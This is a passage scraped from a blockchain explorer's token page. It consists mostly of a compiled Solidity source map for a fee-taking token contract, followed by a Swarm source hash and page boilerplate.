:228:1::0;3624:73:0::1;3734:6;::::0;;3713:38:::1;::::0;-1:-1:-1;;;;;3713:38:0;;::::1;::::0;3734:6;::::1;::::0;3713:38:::1;::::0;::::1;3762:6;:17:::0;;-1:-1:-1;;;;;;3762:17:0::1;-1:-1:-1::0;;;;;3762:17:0;;;::::1;::::0;;;::::1;::::0;;3543:244::o;1822:230::-;1880:7;1904:6;1900:47;;-1:-1:-1;1934:1:0;1927:8;;1900:47;1950:9;1962:5;1966:1;1962;:5;:::i;:::-;1950:17;-1:-1:-1;1995:1:0;1986:5;1990:1;1950:17;1986:5;:::i;:::-;:10;1978:56;;;;-1:-1:-1;;;1978:56:0;;6182:2:1;1978:56:0;;;6164:21:1;6221:2;6201:18;;;6194:30;6260:34;6240:18;;;6233:62;-1:-1:-1;;;6311:18:1;;;6304:31;6352:19;;1978:56:0;6154:223:1;2054:132:0;2112:7;2139:39;2143:1;2146;2139:39;;;;;;;;;;;;;;;;;:3;:39::i;1329:170::-;1387:7;;1419:5;1423:1;1419;:5;:::i;:::-;1407:17;;1448:1;1443;:6;;1435:46;;;;-1:-1:-1;;;1435:46:0;;5011:2:1;1435:46:0;;;4993:21:1;5050:2;5030:18;;;5023:30;5089:29;5069:18;;;5062:57;5136:18;;1435:46:0;4983:177:1;16867:326:0;-1:-1:-1;;;;;16960:19:0;;16952:68;;;;-1:-1:-1;;;16952:68:0;;7351:2:1;16952:68:0;;;7333:21:1;7390:2;7370:18;;;7363:30;7429:34;7409:18;;;7402:62;-1:-1:-1;;;7480:18:1;;;7473:34;7524:19;;16952:68:0;7323:226:1;16952:68:0;-1:-1:-1;;;;;17039:21:0;;17031:68;;;;-1:-1:-1;;;17031:68:0;;4608:2:1;17031:68:0;;;4590:21:1;4647:2;4627:18;;;4620:30;4686:34;4666:18;;;4659:62;-1:-1:-1;;;4737:18:1;;;4730:32;4779:19;;17031:68:0;4580:224:1;17031:68:0;-1:-1:-1;;;;;17101:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;17153:32;;7700:25:1;;;17153:32:0;;7673:18:1;17153:32:0;;;;;;;16867:326;;;:::o;18081:1735::-;18168:4;-1:-1:-1;;;;;18184:20:0;;18176:70;;;;-1:-1:-1;;;18176:70:0;;6945:2:1;18176:70:0;;;6927:21:1;6984:2;6964:18;;;6957:30;7023:34;7003:18;;;6996:62;-1:-1:-1;;;7074:18:1;;;7067:35;7119:19;;18176:70:0;6917:227:1;18176:70:0;-1:-1:-1;;;;;18265:23:0;;18257:71;;;;-1:-1:-1;;;18257:71:0;;3797:2:1;18257:71:0;;;3779:21:1;3836:2;3816:18;;;3809:30;3875:34;3855:18;;;3848:62;-1:-1:-1;;;3926:18:1;;;3919:33;3969:19;;18257:71:0;3769:225:1;18257:71:0;18351:16;;-1:-1:-1;;;18351:16:0;;;;18348:1461;;;18401:41;18416:6;18424:9;18435:6;18401:14;:41::i;:::-;18394:48;;;;18348:1461;-1:-1:-1;;;;;18489:23:0;;;;;;:15;:23;;;;;;;;18488:24;:55;;;;-1:-1:-1;;;;;;18517:26:0;;;;;;:15;:26;;;;;;;;18516:27;18488:55;18485:171;;;18583:12;;18573:6;:22;;18565:75;;;;-1:-1:-1;;;18565:75:0;;5773:2:1;18565:75:0;;;5755:21:1;5812:2;5792:18;;;5785:30;5851:34;5831:18;;;5824:62;-1:-1:-1;;;5902:18:1;;;5895:38;5950:19;;18565:75:0;5745:230:1;18565:75:0;18710:4;18661:28;16040:18;;;:9;:18;;;;;;18786:23;;18762:47;;;;;;;18842:44;;-1:-1:-1;18870:16:0;;-1:-1:-1;;;18870:16:0;;;;18869:17;18842:44;:69;;;;-1:-1:-1;;;;;;18891:20:0;;;;;;:12;:20;;;;;;;;18890:21;18842:69;18838:280;;;18949:25;;-1:-1:-1;;;18949:25:0;;;;18946:97;;;19020:23;;18997:46;;18946:97;19062:36;19077:20;19062:14;:36::i;:::-;19135:16;;-1:-1:-1;;;19135:16:0;;;;:51;;;;-1:-1:-1;;;;;;19156:30:0;;;;;;:19;:30;;;;;;;;19155:31;19135:51;19132:203;;;19268:10;;19197:67;19222:41;19257:5;19222:30;19233:18;;19222:6;:10;;:30;;;;:::i;:::-;:34;;:41::i;:::-;-1:-1:-1;;;;;16040:18:0;;16013:7;16040:18;;;:9;:18;;;;;;19197:24;;:67::i;:::-;:81;;19189:130;;;;-1:-1:-1;;;19189:130:0;;5367:2:1;19189:130:0;;;5349:21:1;5406:2;5386:18;;;5379:30;5445:34;5425:18;;;5418:62;-1:-1:-1;;;5496:18:1;;;5489:35;5541:19;;19189:130:0;5339:227:1;19189:130:0;19364:41;19399:5;19364:30;19375:18;;19364:6;:10;;:30;;;;:::i;:41::-;19350:13;:55;19456:18;;19445:41;;19480:5;;19445:30;;:6;;:10;:30::i;:41::-;19436:50;;:6;:50;:::i;:::-;19422:13;:64;-1:-1:-1;;;;;19513:23:0;;;;;;:15;:23;;;;;;;;19512:24;;:56;;-1:-1:-1;;;;;;19542:26:0;;;;;;:15;:26;;;;;;;;19541:27;19512:56;19510:112;;;-1:-1:-1;;;;;;19573:23:0;;;;;;:12;:23;;;;;;;;;:47;;-1:-1:-1;;;;;;19600:20:0;;;;;;:12;:20;;;;;;;;19573:47;19506:209;;;19642:3;19624:16;;:21;;;;;;;:::i;:::-;;;;-1:-1:-1;19506:209:0;;-1:-1:-1;19506:209:0;;19697:3;19679:16;;:21;;;;;;;:::i;:::-;;;;;-1:-1:-1;19652:26:0;:48;-1:-1:-1;19702:11:0;:9;:11::i;:::-;19729:41;19744:6;19752:9;19763:6;19729:14;:41::i;:::-;;19793:4;19786:11;;;;;;1639:181;1725:7;1761:12;1753:6;;;;1745:29;;;;-1:-1:-1;;;1745:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1785:9:0;1797:5;1801:1;1797;:5;:::i;:::-;1785:17;1639:181;-1:-1:-1;;;;;1639:181:0:o;1501:136::-;1559:7;1586:43;1590:1;1593;1586:43;;;;;;;;;;;;;;;;;:3;:43::i;2188:277::-;2274:7;2309:12;2302:5;2294:28;;;;-1:-1:-1;;;2294:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2333:9:0;2345:5;2349:1;2345;:5;:::i;20062:624::-;20192:53;;;;;;;;;;;-1:-1:-1;;;20192:53:0;;;;;;;;-1:-1:-1;;;;;20192:17:0;;20155:4;20192:17;;;:9;:17;;;;;;;:53;;20214:6;;20192:21;:53::i;:::-;-1:-1:-1;;;;;20172:17:0;;;;;;:9;:17;;;;;:73;20260:16;;-1:-1:-1;;;20260:16:0;;;;20257:61;;;20278:13;:20;;;20315:1;20301:13;:15;20257:61;20328:22;20353:97;20357:10;20368:1;20357:13;;-1:-1:-1;;20353:3:0;:97::i;:::-;-1:-1:-1;;;;;20484:20:0;;;;;;:9;:20;;;;;;20328:122;;-1:-1:-1;20484:40:0;;20328:122;20484:24;:40::i;:::-;-1:-1:-1;;;;;20461:20:0;;;;;;:9;:20;;;;;;:63;;;;20593:13;;20581:4;20563:24;;;;;;:44;;:28;:44::i;:::-;20554:4;20536:24;;;;:9;:24;;;;;;;;;:71;;;;20623:35;7700:25:1;;;-1:-1:-1;;;;;20623:35:0;;;;;;;;;;7673:18:1;20623:35:0;;;;;;;-1:-1:-1;20676:4:0;;20062:624;-1:-1:-1;;;;20062:624:0:o;20692:286::-;14091:16;:23;;-1:-1:-1;;;;14091:23:0;-1:-1:-1;;;14091:23:0;;;20764:25:::1;20781:7:::0;20764:16:::1;:25::i;:::-;20827:21;20862:19:::0;;20859:105:::1;;20906:19;::::0;20898:54:::1;::::0;20906:19:::1;::::0;;::::1;-1:-1:-1::0;;;;;20906:19:0::1;::::0;20898:54:::1;::::0;::::1;;::::0;;;::::1;::::0;;;;20906:19;20898:54;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;20859:105;-1:-1:-1::0;;14137:16:0;:24;;-1:-1:-1;;;;14137:24:0;;;20692:286::o;19816:125::-;19893:1;19876:16;;19873:2;:19;;;;:::i;:::-;:21;;;;:::i;:::-;19846:26;:48;19911:28;19896:10;19907:1;19896:13;;:43;;;;;;;:::i;:::-;;;;-1:-1:-1;;19816:125:0:o;20984:672::-;21134:16;;;21148:1;21134:16;;;;;;;;21110:21;;21134:16;;;;;;;;-1:-1:-1;;21171:15:0;;:22;;;-1:-1:-1;;;21171:22:0;;;;21110:40;;-1:-1:-1;;;;;;21171:15:0;;;;:20;;-1:-1:-1;21171:22:0;;;;;;;;;;;;;;:15;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;21161:4;21166:1;21161:7;;;;;;;;:::i;:::-;;;;;;:32;-1:-1:-1;;;;;21161:32:0;;;-1:-1:-1;;;;;21161:32:0;;;;;21222:4;21204;21209:1;21204:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;21204:23:0;;;:7;;;;;;;;;:23;21265:16;;;21238:26;:43;21309:2;21292:19;;21354:15;;21322:62;;21339:4;;21354:15;21372:11;21322:8;:62::i;:::-;21412:15;;:240;;-1:-1:-1;;;21412:240:0;;-1:-1:-1;;;;;21412:15:0;;;;:66;;:240;;21493:11;;21412:15;;21563:4;;21590;;21626:15;;21412:240;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;21039:617;20984:672;:::o;14:247:1:-;73:6;126:2;114:9;105:7;101:23;97:32;94:2;;;142:1;139;132:12;94:2;181:9;168:23;200:31;225:5;200:31;:::i;266:251::-;336:6;389:2;377:9;368:7;364:23;360:32;357:2;;;405:1;402;395:12;357:2;437:9;431:16;456:31;481:5;456:31;:::i;522:388::-;590:6;598;651:2;639:9;630:7;626:23;622:32;619:2;;;667:1;664;657:12;619:2;706:9;693:23;725:31;750:5;725:31;:::i;:::-;775:5;-1:-1:-1;832:2:1;817:18;;804:32;845:33;804:32;845:33;:::i;:::-;897:7;887:17;;;609:301;;;;;:::o;915:456::-;992:6;1000;1008;1061:2;1049:9;1040:7;1036:23;1032:32;1029:2;;;1077:1;1074;1067:12;1029:2;1116:9;1103:23;1135:31;1160:5;1135:31;:::i;:::-;1185:5;-1:-1:-1;1242:2:1;1227:18;;1214:32;1255:33;1214:32;1255:33;:::i;:::-;1019:352;;1307:7;;-1:-1:-1;;;1361:2:1;1346:18;;;;1333:32;;1019:352::o;1376:315::-;1444:6;1452;1505:2;1493:9;1484:7;1480:23;1476:32;1473:2;;;1521:1;1518;1511:12;1473:2;1560:9;1547:23;1579:31;1604:5;1579:31;:::i;:::-;1629:5;1681:2;1666:18;;;;1653:32;;-1:-1:-1;;;1463:228:1:o;1696:180::-;1755:6;1808:2;1796:9;1787:7;1783:23;1779:32;1776:2;;;1824:1;1821;1814:12;1776:2;-1:-1:-1;1847:23:1;;1766:110;-1:-1:-1;1766:110:1:o;1881:248::-;1949:6;1957;2010:2;1998:9;1989:7;1985:23;1981:32;1978:2;;;2026:1;2023;2016:12;1978:2;-1:-1:-1;;2049:23:1;;;2119:2;2104:18;;;2091:32;;-1:-1:-1;1968:161:1:o;2993:597::-;3105:4;3134:2;3163;3152:9;3145:21;3195:6;3189:13;3238:6;3233:2;3222:9;3218:18;3211:34;3263:1;3273:140;3287:6;3284:1;3281:13;3273:140;;;3382:14;;;3378:23;;3372:30;3348:17;;;3367:2;3344:26;3337:66;3302:10;;3273:140;;;3431:6;3428:1;3425:13;3422:2;;;3501:1;3496:2;3487:6;3476:9;3472:22;3468:31;3461:42;3422:2;-1:-1:-1;3574:2:1;3553:15;-1:-1:-1;;3549:29:1;3534:45;;;;3581:2;3530:54;;3114:476;-1:-1:-1;;;3114:476:1:o;7736:980::-;7998:4;8046:3;8035:9;8031:19;8077:6;8066:9;8059:25;8103:2;8141:6;8136:2;8125:9;8121:18;8114:34;8184:3;8179:2;8168:9;8164:18;8157:31;8208:6;8243;8237:13;8274:6;8266;8259:22;8312:3;8301:9;8297:19;8290:26;;8351:2;8343:6;8339:15;8325:29;;8372:1;8382:195;8396:6;8393:1;8390:13;8382:195;;;8461:13;;-1:-1:-1;;;;;8457:39:1;8445:52;;8552:15;;;;8517:12;;;;8493:1;8411:9;8382:195;;;-1:-1:-1;;;;;;;8633:32:1;;;;8628:2;8613:18;;8606:60;-1:-1:-1;;;8697:3:1;8682:19;8675:35;8594:3;8007:709;-1:-1:-1;;;8007:709:1:o;8910:128::-;8950:3;8981:1;8977:6;8974:1;8971:13;8968:2;;;8987:18;;:::i;:::-;-1:-1:-1;9023:9:1;;8958:80::o;9043:217::-;9083:1;9109;9099:2;;9153:10;9148:3;9144:20;9141:1;9134:31;9188:4;9185:1;9178:15;9216:4;9213:1;9206:15;9099:2;-1:-1:-1;9245:9:1;;9089:171::o;9265:168::-;9305:7;9371:1;9367;9363:6;9359:14;9356:1;9353:21;9348:1;9341:9;9334:17;9330:45;9327:2;;;9378:18;;:::i;:::-;-1:-1:-1;9418:9:1;;9317:116::o;9438:125::-;9478:4;9506:1;9503;9500:8;9497:2;;;9511:18;;:::i;:::-;-1:-1:-1;9548:9:1;;9487:76::o;9568:380::-;9647:1;9643:12;;;;9690;;;9711:2;;9765:4;9757:6;9753:17;9743:27;;9711:2;9818;9810:6;9807:14;9787:18;9784:38;9781:2;;;9864:10;9859:3;9855:20;9852:1;9845:31;9899:4;9896:1;9889:15;9927:4;9924:1;9917:15;9781:2;;9623:325;;;:::o;9953:127::-;10014:10;10009:3;10005:20;10002:1;9995:31;10045:4;10042:1;10035:15;10069:4;10066:1;10059:15;10085:127;10146:10;10141:3;10137:20;10134:1;10127:31;10177:4;10174:1;10167:15;10201:4;10198:1;10191:15;10349:131;-1:-1:-1;;;;;10424:31:1;;10414:42;;10404:2;;10470:1;10467;10460:12;10404:2;10394:86;:::o
Swarm Source
ipfs://28583ff3453da68d07166a7ef8fd66030ee21404cc6e6700045463447a451f54
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.